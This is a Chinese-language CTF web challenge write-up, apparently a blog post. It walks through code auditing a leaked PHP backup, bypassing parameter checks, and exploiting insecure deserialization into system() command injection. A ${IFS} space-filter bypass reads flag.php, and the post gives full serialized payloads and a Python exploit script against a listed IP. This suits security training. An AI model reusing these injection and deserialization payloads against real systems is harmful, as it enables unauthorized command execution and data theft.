极光实验室-web-考核wp

第一题略(不要问我为什么emmmm
直接写第二题的wp
题目链接:47.103.117.169:22230/
访问后常规思路先F12看源码
在这里插入图片描述
没得到有用信息,再抓包看看返回有没有hint
在这里插入图片描述
依旧没有发现任何提示内容,御剑再扫扫看后台结构
在这里插入图片描述
字典太大就不扫完全部了,幸运的是发现了index页面的备份文件
下载到本地后开始日常php代码审计
这里截取一下代码的核心部分(如下):
在这里插入图片描述
在这里插入图片描述
先构造GET参数的payload
如下是几个param:
first=is_me (在只进行一轮循环的for里完成$first的要求赋值
a=xxx=I%26yyy=wanna%26zzz=flag (在parse_str后完成其他要求赋值)
【Tips:a参数的&为了避免造成截断,应先url编码过后为%26】
于是拿到第一个flag!(echo $flag1)
在这里插入图片描述
接下来要构造POST参数的payload
主要根据danger方法和析构函数来构造初步payload,再观察魔术方法wakeup的过滤细节
来进行接下来的绕过
(因为过滤字段里有flag,php,所以猜测第二个flag就在这个文件里
当然御剑也能扫描出flag.php这个敏感文件,总而言之是就要构造适当payload去爆出文件内容)
要注意的几个点:

  • 显而易见这是个命令执行漏洞,danger函数里的是system函数,不要想当然以为是eval,所以file_get_contents等php函数都被ban掉,要去构造合适的bash命令
  • 大致思路有以下几种
    • Linux下主要有 ; , | , || , & , && 几种管道符,再看看魔术方法里的waf过滤了;和|,所以这里就只能采用&管道符(先用’1’闭合前面的echo),再用&xxx来输出flag.php的信息
    • 或是直接echo flag.php的信息(采用反引号),所以构造payload如下
      echo `cat flag.php`
  • 基本payload被构造好以后,接下来就开始想怎么绕过
    眼癌患者注意正则匹配里还过滤了空格,所以想方法绕过
    google一下发现bash命令绕过空格的方法很多(环境变量ifs/重定向都可)
    ${IFS} , $IFS$9 , <
    诸如此类,这里选用${IFS},所以payload变成echo`cat${IFS}flag.php`

因为还涉及反序列化,所以要先把payload变成序列化后的亚子

$payload = new come("danger",array("`cat\${IFS}flflag.phpag.php`"));
echo serialize($payload)."\n";
echo urlencode(serialize($payload))."\n";

注意urlencode很重要!很重要!很重要!
(这也是记录这份wp最大的原因,编码真的是坑)
解释一下why,拿echo的两个字符串分别跑一下下面的脚本看看结果有什么不一样

from urllib.parse import unquote
from urllib.parse import urlencode
 
data1 = {'come':unquote('O%3A4%3A%22come%22%3A2%3A%7Bs%3A11%3A%22%00come%00funcs%22%3Bs%3A6%3A%22danger%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A27%3A%22%60cat%24%7BIFS%7Dflflag.phpag.php%60%22%3B%7D%7D')}
print(data1)
data2 = {'come':'O:4:"come":2:{s:11:"comefuncs";s:6:"danger";s:10:"comeargs";a:1:{i:0;s:27:"`cat${IFS}flflag.phpag.php`";}} '}
data2 = urlencode(data)\
print(data2)

运行结果如下:
在这里插入图片描述
注意到如果直接复制php页面返回的未urlencode的序列化字符串,再在python中进行urlencode,则有了%00的丢失
反观如果在php里就直接进行urlencode,则取回的字符串完整,再在python中unquote,仍保留了\x00
所以这是一个很重要的点
btw为什么平时做的有些反序列化的题不需要这些操作也能成功拿到flag呢?
因为本题里的类成员大多为private,所以会在字符串中掺入%00,而%00较为特殊,就导致了如果不在php里进行urlencode就会gg的后果
下面直接用构造好的payload进行发包(要注意本题第二个flag在源码里,所以要print的是content而不是text,亲测print text只有孤零零一个之前的flag)
在这里插入图片描述
拿到第二个flag!
这里附上最后一步的python脚本:

import requests
from urllib.parse import unquote
from urllib.parse import urlencode

url = "http://47.103.117.169:22230/?first=is_me&a=xxx=I%26yyy=wanna%26zzz=flag"
data1 = {'come':unquote('O%3A4%3A%22come%22%3A2%3A%7Bs%3A11%3A%22%00come%00funcs%22%3Bs%3A6%3A%22danger%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A27%3A%22%60cat%24%7BIFS%7Dflflag.phpag.php%60%22%3B%7D%7D')}
print(data1)
# data1完整payload,所以要在php里就先进行urlencode
data2 = {'come':'O:4:"come":2:{s:11:"comefuncs";s:6:"danger";s:10:"comeargs";a:1:{i:0;s:27:"`cat${IFS}flflag.phpag.php`";}}'}
data2 = urlencode(data2)
print(data2)
# data2缺少%00,错误payload
r = requests.post(url, data = data1)
# r.encoding = r.apparent_encoding
# print(r.text) text缺失信息
print(r.content)

最大的坑在编码问题,也是不够熟练的原因qaq,大二上还是要继续加油鸭

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值